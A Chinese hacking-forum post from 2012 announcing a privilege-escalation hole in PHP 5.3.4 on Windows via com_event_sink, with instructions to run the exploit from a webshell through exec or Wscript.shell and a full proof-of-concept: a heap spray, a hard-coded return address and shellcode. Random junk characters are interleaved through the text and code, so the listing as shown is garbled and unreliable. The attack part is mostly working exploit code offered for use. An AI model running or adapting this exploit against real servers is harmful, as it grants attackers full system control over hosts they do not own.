找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1977|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中3 Y1 M1 L2 q; {3 L. ]( u: s
- t* w. _' S5 R- \0 U  m
测试方法如下:cmd /c x:\php\php.exe x:\test.php+ C, w$ ~$ E4 m8 i
$ e( i4 ~: J5 O: I
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
# p9 F+ b! C3 Z. l这里是两个测试的截图:
3 B# b. x8 S8 H7 E) D6 p3 z# c. |" @5 }5 W
$ B. S, `2 |4 j( b' L, u1 t
& ?% A% t9 o- E! F- F
  T; I* Z: h1 U

  {/ f4 L& G- b; i成功利用此漏洞的攻击者将获得系统的最高权限
% e8 ?2 r& a# n; Z6 j
  ~: t# T6 I7 z+ B" h) c& W2 B
4 k/ s9 n6 A# c! h( B
* b4 l) i  ]/ l
* H% ^9 B4 m5 c0 J/ x
( ^2 I; D1 A2 P6 ]0 r/ j关于漏洞分析稍后附上。一下是PoC代码:/ f" x$ D0 `4 c

7 z  L$ y, w" p$ L. K<?php; \4 I* n# ?& G9 w/ ?/ s
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
; T) q; h* c3 t  G, {- [//$eip ="\x44\x43\x42\x41";
$ f7 e# v2 D" q/ A, U5 T1 }! k- W$eip= "\x4b\xe8\x57\x78";4 L" f, m  l( f5 R  {
$eax ="\x80\x01\x8d\x04";
' Y3 r* g" v# ^# e$deodrant="";
, p* k  v$ U; j$axespray = str_repeat($eip.$eax,0x80);) S7 R: k1 Z& l0 P: `
//048d0190
. ?& k2 S$ x8 y' O. Q/ {echo strlen($axespray);- ]$ ?+ w" h0 Y. ]( M
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";+ A8 L  u, h3 a- Q- d. T: |5 p
echo "Silic Group Hacker Army - BlackBap.Org";' ~& S9 D. N3 E8 W! n4 {3 J
//19200 ==4B32 4b00  Y$ W; ]. c+ u4 c& U
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}, O6 h+ s+ u+ U7 K( Z5 m
$terminate = "T";: W4 X# f$ V. F- ?2 e' L
$u[] =$deodrant;
$ x* `( X$ d/ j- H$ _$ R$r[] =$deodrant.$terminate;
6 R$ Y+ _+ H4 n0 h8 \: T5 K, p$a[] =$deodrant.$terminate;
, V* A" ]) t; P5 r/ ^! ~; y$s[] =$deodrant.$terminate;
3 B) b5 @/ q. z) P4 Z/ e//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的! s& t% z/ \8 E# ?* M, M0 B/ r
$vVar = new VARIANT(0x048d0000+180);, y) f, |* ]. Z" k$ o
//弹窗代码(Shellcode)
2 m# X/ J& {3 N5 ~( m; x5 T$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";1 |3 d- }# T. D) I0 L, J
$var2 = new VARIANT(0x41414242);
1 G. w$ ^( D2 q5 X: A3 ?+ vcom_event_sink($vVar,$var2,$buffer);
" ?6 T7 Q& w" C0 g3 _& c?>6 W& C$ L9 p4 o4 v9 r

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表